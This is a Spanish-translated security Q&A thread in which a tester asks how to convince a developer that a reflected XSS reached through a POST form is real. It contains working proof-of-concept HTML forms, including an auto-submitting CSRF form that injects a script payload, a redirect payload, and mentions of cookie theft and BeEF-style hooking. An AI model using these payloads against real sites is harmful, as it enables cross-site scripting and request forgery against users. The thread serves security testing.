¿Cómo puedo demostrar el XSS reflejado a través de métodos de publicación?

1

Estaba intentando hacer un PoC de XSS:

Muestra de ataque:

He inyectado script en el valor:

<html>

  <body>
    <form action="https://test.com/api/users.prefs.set?t=1447648400" method="POST">
      <input type="hidden" name="name" value="emoji&#95;use" />
      <input type="hidden" name="value" value="<script>alert('xss')</script>" />
      <input type="hidden" name="token" value="xoxs&#45;14407185377&#45;14407185393&#45;14621684436&#45;9d317bf841" />
      <input type="hidden" name="&#95;attempts" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Y pude obtener una respuesta exitosa desde el navegador con <script>alert('xss')</script> . Ahora el guión se inyectó y se reflejó en la respuesta, lo señalé como XSS reflejado. El problema es que la alerta no se muestra, por lo que viene como respuesta del navegador .

Ahora mi desarrollador sostiene que el script desde no se ejecuta en el navegador, por lo que no es vulnerable. ¿Cómo puedo hacer una prueba de concepto para esto?

La posible explotación que se me ocurre es enviar un enlace diseñado al desarrollador con carne de res y controlar la máquina para demostrar la vulnerabilidad.

¿Alguna otra manera de probar el XSS reflejado o cualquier posible explicación que convenza a mi desarrollador? Estoy buscando sugerencias de la comunidad, ¿alguna otra idea para demostrarlo?

    
pregunta BlueBerry - Vignesh4303 16.11.2015 - 06:08
fuente

2 respuestas

2

El hecho de que la alerta no se muestre no significa que no esté allí y, a cambio, significa que no se realiza la validación de entrada. Eso solo debería ser suficiente.

Mi siguiente pensamiento es (si el tipo de contenido está configurado en html y no en json) para cambiar la carga útil. ¿Qué pasa si lo haces:

<script>document.location.href="http://www.google.com";</script>

Suponiendo que se utiliza una aplicación web delante de la API, quizás pueda demostrar un escenario de ladrón de cookies.

Además, podría mostrar el cuadro de alerta cuando use un proxy como Fiddler y Burp Suite: seleccione la respuesta, luego haga clic en "generar HTML".

    
respondido por el Jeroen - IT Nerdbox 16.11.2015 - 07:37
fuente
1

¿La página refleja parámetros vulnerables cuando envía el formulario desde otro sitio web? En otras palabras, ¿está protegido contra CSRF?

Si no, simplemente puede agregar el formulario a otro sitio web y enviarlo automáticamente usando javascript

Aquí hay un PoC

 <html> 

<body> 
<form action="https://test.com/api/users.prefs.set?t=1447648400" method="POST">
<input type="hidden" name="name" value="emoji&#95;use" />
<input type="hidden" name="value" value="<script>alert('xss')</script>" /> 
<input type="hidden" name="token" value="xoxs&#45;14407185377&#45;14407185393&#45;14621684436&#45;9d317bf841" />
<input type="hidden" name="&#95;attempts" value="1" /> 
<input type="submit" value="Submit request" />
</form>
<script type ="text/javascript ">
 document.forms[0].submit();
</script> 
</body>
</html>
    
respondido por el Abood Nour 16.11.2015 - 07:45
fuente

Lea otras preguntas en las etiquetas